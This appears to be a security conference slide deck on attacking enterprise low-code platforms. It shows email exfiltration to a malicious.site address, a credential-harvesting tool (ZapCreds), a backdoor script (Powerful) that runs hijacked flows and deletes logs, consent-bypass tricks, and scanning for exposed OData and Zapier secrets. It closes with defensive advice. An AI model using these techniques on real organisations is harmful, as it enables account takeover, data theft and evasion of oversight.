Low Code High Risk:
Enterprise Domination via Low Code Abuse

Michael Bargury @ Zenity
About me

• CTO and co-founder @ Zenity
• Ex MSFT cloud security
• OWASP ‘Top 10 LCNC Security Risks’ project lead
• Dark Reading columnlist
• Defcon n00b

@mbrg0 ft. @UZisReal123
bit.ly/lcsec
Disclaimer

This talk is presented from an attacker’s perspective with the goal of raising awareness to the risks of underestimating the security impact of Low Code. Low Code is awesome.
Outline

- Low Code in a nutshell
- Low Code attacks observed in the wild
  - Living off the land – account takeover, lateral movement, PrivEsc, data exfil
  - Hiding in plain sight
  - Leveraging predictable misconfigurations from the outside
- How to defend
- The latest addition to your red team arsenal
Low Code in a Nutshell
Why Low Code?

- Asked it for a new tool
- Next quarter
- Next year
If it sounds familiar, it's because it is.

Tech evolution
Build everything

- If this than that automation
- Integrations
- Business apps
- Whole products
- Mobile apps
Available in every major enterprise
Recap

✔ Available on every major enterprise
✔ Has access to business data and powers business processes
✔ Runs as SaaS (difficult to monitor)
✔ Underrated by IT/Sec
Low Code Attacks In The Wild
Living off the land
1. New Mention in Slack

2. Sorry, I'm on a call

3. Enough time to make them forget about me

4. I'm always available!
Step by step
Behind the scenes

How does the app authenticate to slack?

How do different users get authenticated by the same app?

https://docs.microsoft.com/en-us/connectors/connectors
Behind the scenes

Storing and sharing refresh tokens

https://docs.microsoft.com/en-us/connectors/connectors
Ready, set, AUTOMATE!
## Connections in Zenity Stage (default)

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Zenity</td>
<td>Zenity</td>
</tr>
<tr>
<td>ystage.com</td>
<td>Microsoft Dataverse (legacy)</td>
</tr>
<tr>
<td>Bitbucket</td>
<td>Bitbucket (preview)</td>
</tr>
<tr>
<td>ystage.com</td>
<td>Azure Resource Manager</td>
</tr>
<tr>
<td>ystage.com</td>
<td>Office 365 Management API</td>
</tr>
<tr>
<td>ystage.com</td>
<td>Azure Blobs Storage</td>
</tr>
<tr>
<td>SQL Server</td>
<td>SQL Server</td>
</tr>
<tr>
<td>ystage.com</td>
<td>Azure Blobs Storage</td>
</tr>
<tr>
<td>SQL Server</td>
<td>SQL Server</td>
</tr>
<tr>
<td>ystage.com</td>
<td>Microsoft Dataverse</td>
</tr>
<tr>
<td>ystage.com</td>
<td>Connective eSignatures (preview)</td>
</tr>
<tr>
<td>ystage.com</td>
<td>Connective eSignatures</td>
</tr>
<tr>
<td>SharePoint</td>
<td>SharePoint</td>
</tr>
<tr>
<td>ystage.com</td>
<td>Power Platform for Admins</td>
</tr>
<tr>
<td>ystage.com</td>
<td>Power Platform for Admins</td>
</tr>
<tr>
<td>ystage.com</td>
<td>Power Apps for Makers</td>
</tr>
<tr>
<td>ystage.com</td>
<td>Power Apps for Makers</td>
</tr>
<tr>
<td>ystage.com</td>
<td>File System</td>
</tr>
<tr>
<td>File System</td>
<td>File System</td>
</tr>
<tr>
<td>ystage.com</td>
<td>Notifications</td>
</tr>
<tr>
<td>Notifications</td>
<td>Notifications</td>
</tr>
<tr>
<td>ystage.com</td>
<td>Vendor Server</td>
</tr>
<tr>
<td>Vendor Server</td>
<td>FTP</td>
</tr>
<tr>
<td>ystage.com</td>
<td>OneDrive (Business)</td>
</tr>
<tr>
<td>FTP</td>
<td>FTP</td>
</tr>
</tbody>
</table>

---

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ystage.com</td>
<td>az손aliao.com</td>
</tr>
<tr>
<td>ystage.com</td>
<td>Azure Key Vault</td>
</tr>
<tr>
<td>ystage.com</td>
<td>Office 365 Outlook</td>
</tr>
<tr>
<td>ystage.com</td>
<td>Office 365 Users</td>
</tr>
<tr>
<td>Onedrive</td>
<td>Onedrive</td>
</tr>
<tr>
<td>Outlook.com</td>
<td>Outlook.com</td>
</tr>
<tr>
<td>SSO</td>
<td>SSO</td>
</tr>
<tr>
<td>Salesforce</td>
<td>Salesforce</td>
</tr>
<tr>
<td>Mail</td>
<td>Mail</td>
</tr>
<tr>
<td>Mail</td>
<td>Mail</td>
</tr>
<tr>
<td>aviv-demo-2</td>
<td>ServiceNow</td>
</tr>
<tr>
<td>aviv-Demo</td>
<td>ServiceNow</td>
</tr>
<tr>
<td>aviv-Demo</td>
<td>ServiceNow</td>
</tr>
<tr>
<td>SFTP</td>
<td>SFTP</td>
</tr>
<tr>
<td>SFTP</td>
<td>SFTP - SFTP</td>
</tr>
<tr>
<td>ystage.com</td>
<td>SharePoint</td>
</tr>
</tbody>
</table>
Credential Sharing as a Service

- ZapCreds
- Power Platform default env
- Workato shared creds
Credential Sharing as a Service

- Shared identities:
  - ZapCreds
  - Power Platform default env
  - Workato shared creds

✔ Privilege escalation
Ransomware thru action connections
Exfiltrate email thru the platform’s email account

- Folder: Inbox
- To: finance.external@malicious.site
- Subject: Finance email notification

Data exfiltration
Move to machine

Learn more at No-Code Malware: Windows 11 At Your Service
github.com/mbrg/defcon30

Lateral movement
### Introducing ZapCreds

ZapCreds is a tool designed to help manage and organize credentials for various services. It provides a command-line interface and Python code to interact with the service. The table below shows some examples of how ZapCreds can be used to store and retrieve account information.

#### Python Example

```python
import requests
from zapcreds.harvest import authenticate_session, get_credentials

session = requests.Session()
authenticate_session(session, "John.Webb@mycompany.com", "password")
creds = get_credentials(session)
```

#### Command Line

```bash
zapcreds --email john.webb@mycompany.com --password password --out found_creds.csv
```

<table>
<thead>
<tr>
<th>account_name</th>
<th>app_name</th>
<th>app_icon</th>
<th>connection_created</th>
<th>connection_title</th>
</tr>
</thead>
<tbody>
<tr>
<td>Marketing</td>
<td>Dropbox</td>
<td>📂</td>
<td>2021-06-06T10:54:52Z</td>
<td>Dropbox <a href="mailto:johnw@gmail.com">johnw@gmail.com</a></td>
</tr>
<tr>
<td>Marketing</td>
<td>Gmail</td>
<td>📭</td>
<td>2021-06-06T10:00:14Z</td>
<td>Gmail Bobby <a href="mailto:Atkinson@mycompany.com">Atkinson@mycompany.com</a></td>
</tr>
<tr>
<td>Marketing</td>
<td>Gmail</td>
<td>📭</td>
<td>2021-06-06T07:53:42Z</td>
<td>Gmail Lola <a href="mailto:Burton@mycompany.com">Burton@mycompany.com</a> #2</td>
</tr>
<tr>
<td>Marketing</td>
<td>Google Calendar</td>
<td>📆</td>
<td>2022-01-23T21:08:48Z</td>
<td>Google Calendar <a href="mailto:johnw@gmail.com">johnw@gmail.com</a></td>
</tr>
<tr>
<td>Marketing</td>
<td>Google Drive</td>
<td>📊</td>
<td>2022-01-26T11:10:41Z</td>
<td>Google Drive Bobby <a href="mailto:Atkinson@mycompany.com">Atkinson@mycompany.com</a></td>
</tr>
<tr>
<td>SalesOps</td>
<td>Google Sheets</td>
<td>📊</td>
<td>2022-02-20T09:20:15Z</td>
<td>Google Sheets Shariah <a href="mailto:Cote@mycompany.com">Cote@mycompany.com</a></td>
</tr>
<tr>
<td>SalesOps</td>
<td>OneNote</td>
<td>📑</td>
<td>2022-03-03T09:18:36Z</td>
<td>OneNote <a href="mailto:gibsonm@outlook.com">gibsonm@outlook.com</a> #2</td>
</tr>
</tbody>
</table>

[github.com/mbrg/zapcreds](https://github.com/mbrg/zapcreds)
Can we fool users to create connections for us?

- Set up a bait app that does something useful
- Generate connections on-the-fly
- Fool users to use it
- Pwn their connection (i.e. account)
Can we get rid of this pesky approve window?
Can we get rid of this pesky approve window?

Almost there ...
Out of Office_1526 needs your permission to use the following. Please allow the permissions to proceed.

Office 365 Outlook
owner@zenitystage.com
Signed in View permissions

Office 365 Users
owner@zenitystage.com
Signed in View permissions

Set-AdminPowerAppApisToBypassConsent

Sets the consent bypass of an app to true.

Description
The Set-AdminPowerAppApisToBypassConsent cmdlet changes the consent bypass so that users are not required to authorize API connections for the input app. The command changes the bypassconsent flag of an app to true. Using this command, end users will observe consent is bypassed for First Party connectors that support single sign-on and custom connectors that don’t require authentication. This includes custom connectors with or without a gateway.

https://docs.microsoft.com/en-us/powershell/module/microsoft.powerapps.administration.powershell/set-adminpowerappapistobypassconsent
Low Code Attacks In The Wild
Can I stay here forever?
This has been done before

zenity.io/blog/hackers-abuse-low-code-platforms-and-turn-them-against-their-owners/
Dump files and tweet about it on a schedule
Encrypt on command
Persistency

What do we want?

- Remote execution
- Arbitrary payloads
- Maintain access (even if user account access get revoked)
- Avoid detection
- Avoid attribution
- No logs
Persistency v1

Persistency
Persistency v1

What do we want?
Persistency v1

What do we want?

- Remote execution
- ✗ Arbitrary payloads
Persistency v1

What do we want?

- Remote execution
- Arbitrary payloads
- Maintain access
Persistency v1

What do we want?

- Remote execution
- (X) Arbitrary payloads
- (✓) Maintain access
- (✓) Avoid detection

Somebody else’s cloud
Persistency v1

What do we want?

- Remote execution
- Arbitrary payloads
- Maintain access
- Avoid detection
- Avoid attribution

Call endpoint anonymously to execute
Persistency v1

What do we want?

- Remote execution
- Arbitrary payloads
- Maintain access
- Avoid detection
- Avoid attribution
- No logs
Persistency v2

- Leak SharePoint
- Save email attachments from Outlook.com to Dro...
- Execute SQL stored procedure and notify via Tea...
- SharePoint Ransomware
- Button -> Execute a SQL query (V2)
Persistency v2

What do we want?

- Arbitrary payloads
- No logs
Solving persistency

Our current state:

- ✔ Remote execution
- ❌ Arbitrary payloads
- ✔ Maintain access
- ✔ Avoid detection
- ✔ Avoid attribution
- ❌ No logs
Executing arbitrary commands

Power Automate Management

Power Automate Management connector enables interaction with Power Automate Management service. For example: creating, editing, and updating flows. Administrators who want to perform operations with admin privileges should call actions with the ‘as Admin’ suffix.

[See documentation](https://docs.microsoft.com/en-us/connectors/flowmanagement/)
Introducing Powerful!

github.com/mbrg/powerful
Create a flow

List authenticated sessions to use

Delete a flow
from explore.flow_factory.client import EXAMPLE, FlowFactory

# flow factory webhook url

factory = FlowFactory(webhook=WEBHOOK)

# find authenticated sessions to leverage
connections = factory.get_connections(environment_id=EXAMPLE["environment"])

# create flow taking over authenticated sessions
flow = factory.create_flow(
    environment_id=EXAMPLE["environment"],
    flow_display_name=EXAMPLE["FlowDisplayName"],
    flow_state=EXAMPLE["flowState"],
    flow_definition=EXAMPLE["FlowDefinition"],
    connection_references=EXAMPLE["connectionReferences"],
)

# execute flow
factory.run_flow(environment_id=EXAMPLE["environment"], flow_id=flow["name"])

# delete flow, cleaning execution logs in the process
factory.delete_flow(environment_id=EXAMPLE["environment"], flow_id=flow["name"])

github.com/mbrg/powerful
Powerful (persistency v3)

What do we want?

- Remote execution
- Arbitrary payloads
- Maintain access
- Avoid detection
- Avoid attribution
- No logs

1. Set up your flow factory
2. Control it though API and a Python CLI

github.com/mbrg/powerful
Low Code Attacks In The Wild
From the outside looking in
Power Portals/Pages?

Microsoft Power Platform

The low code platform that spans Microsoft 365, Azure, Dynamics 365, and standalone apps.

Power BI
Business analytics

Power Apps
App development

Power Automate
Process automation

Power Virtual Agents
Intelligent virtual agents

Power Pages
External-facing websites

Dataverse
(managed Azure SQL instance)

The Internet
Create an engaging headline, welcome, or call to action

Add a call to action here
What’s ODATA and why should we care

“An open protocol to allow the creation and consumption of queryable and interoperable RESTful APIs in a simple and standard way.”

Power portals can be configured to provide access to SQL tables through ODATA using a specific URL:

portal.powerappsportals.com/_odata
What’s ODATA and why should we care

“An open protocol to allow the creation and consumption of queryable and interoperable RESTful APIs in a simple and standard way.”

Power portals can be configured to provide access to SQL tables through ODATA using a specific URL:

portal.powerappsportals.com/_odata

zenity.io/blog/the-microsoft-power-apps-portal-data-leak-revisited-are-you-safe-now/
The fun begins

Goal: find misconfigured portals that expose sensitive data w/o auth.

Real world example:

```xml
  <workspace>
    <atom:title type="text">Default</atom:title>
    <collection href="EntityFormSet">
      <atom:title type="text">EntityFormSet</atom:title>
    </collection>
    <collection href="globalvariables">
      <atom:title type="text">globalvariables</atom:title>
    </collection>
  </workspace>
</service>
```
Nothing to see here

_/odata/globalvariables:

"scs_globalvariablesid":"24", "scs_name":"Documents API Auth Token", "scs_values":"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUlF..."
Can we scale it?

Recall the portal url:

[portal url] powerappsportals.com
Can we scale it?

Recall the portal url:

Let's use Bing!

zenity.io/blog/the-microsoft-power-apps-portal-data-leak-revisited-are-you-safe-now/
ODATA leak - what we found

- Vulnerability disclosures are in progress
- Found
  - PII – emails, names, calendar events
  - Secrets – API keys, authentication tokens
  - Business data – sales accounts, business contacts, vendor lists
Can we find more exposed data?
Can we find more exposed data?

Store data from code steps with StoreClient

Last updated: July 23, 2020

The StoreClient is a built-in utility available in both Python and JavaScript code steps that lets you store and retrieve data between Zaps or between runs of the same Zap.

Limitations

- Any JSON serializable value can be saved.
- The secret should use UUID4 format.
- Every key must be less than 32 characters in length.
- Every value must be less than 2500 bytes.
- Only 500 keys may be saved per secret.
- Keys will expire if you do not touch them in 3 months.

Secrets are secured by a random GUID.
Storage by Zapier API

```
"where am i?:" "you are at store.zapier.com",

"what is it?:" [  
  "store.zapier.com is a simple storage REST API that  
  might use to stash a bit of state. we use it to pow  
  'storeClient' in our Code steps of Zapier - you can  
  more docs at https://zapier.com/help/code-python/  
  ],

"what can it do?:" [  
  "only one endpoint - GET & POST to read and write,  
  "store any value that is JSON serializable",  
  "BYOS (bring your own secrets) for authentication" 
  ],

"---------": "------------------------

"how does it work?": {  
  "always provide either `?secret=12345` or `X-Secret: 12345`": "",  
  "GET /api/records": [  
    "will return a full object of all values stored by default.",  
    "you can also specify only the keys you want via the",  
    "querystring like `?key=color&key=age`."
  ],  
  "POST /api/records": [  
    "provide a body with a json object with keys/values you want",  
    "to store like `{"color": "blue", "age": 29}`."  
  ],  
  "DELETE /api/records": [  
    "completely clear all the records in this account"
  ],  
  "PATCH /api/records": [  
    "A data with a particular schema needs to be received.",  
    "The schema specifies which action to do and with what parameters.",  
    "For example {"action": "increment_by", "data": {"key": "<key_"  
    "The following actions are currently supported":",  
    "increment_by",  
    "set_value_if",  
    "remove_child_value",  
    "set_child_value",  
    "list_push",  
    "list_pop"  
  ],  
  "For more about information about Storage by Zapier actions check out our
```

Storage by Zapier

API

{ "where am i?: "you are at store.zapier.com",
  "what is it?: [ "store.zapier.com is a simple storage REST API that might use to stash a bit of state. we use it to pow StoreClient in our Code steps of Zapier - you can "more docs at https://zapier.com/help/code-python/ < https://zapier.com/help/code/.
  ],
  "what can it do?": [ "only one endpoint - GET & POST to read and write, " store any value that is JSON serializable", "BYOS (bring your own secrets) for authentication"
  ],
  "------------------": "------------------------
  "how does it work?": { "always provide either '?secret=12345' or 'X-Secret: 12345'": "", "GET /api/records": [ "will return a full object of all values stored by default.", "you can also specify only the keys you want via the", "querystring like '?key=color&key=age'.
 ]],
  "POST /api/records": [ "provide a body with a json object with keys/values you want", "to store like '{"color": "blue", "age": 29}.'
 ]],
  "DELETE /api/records": [ "completely clear all the records in this account"
 ]],
  "PATCH /api/records": [ "A data will be updated.", "The schema is like: { "key": "<key_ name or key value>" } "and what parameters.", "For example: " store like '{"key": "<key_name or key value>", ": ": "};
 }]
  "12345' is not a GUID...
Let's see what happens..

https://store.zapier.com/api/records?secret=

{"error": "Secrets must be valid UUID4s."}
Let's see what happens.. profit! 400$ bounty

https://store.zapier.com/api/records?secret=

{"error": "Secrets must be valid UUID4s."}

Auth tokens, API keys, emails, phone no., crypto wallet IDs..

zenity.io/blog/zapier-storage-exposes-sensitive-customer-data-due-to-poor-user-choices/
Summary

• Low Code is
  • Huge in the enterprise
  • Underrated by security teams

• Attackers are taking advantage of it by
  • Living off the land – account takeover, lateral movement, PrivEsc, data exfil
  • Hiding in plane sight
  • Leveraging predictable misconfigs from the outside

• The latest addition to your red team arsenal
  • ZapCreds – identify overshared creds
  • Powerful – install a low code backdoor

• How to defend your org
How To Stay Safe?
Do these 4 things to reduce your risk

1. Review configuration
   - Bypass consent flag (Microsoft)
   - Limit connector usage
2. Review and monitor access for external-facing endpoints
   - Webhooks
   - ODATA (Microsoft)
   - Storage (Zapier)
3. Review connections shared across the entire organization
4. Learn more at OWASP, Dark Reading, Zenity blog
Low Code High Risk:
Enterprise Domination via Low Code Abuse

Michael Bargury @ Zenity

Learn more: github.com/mbrg/defcon30
Twitter: @mbrg0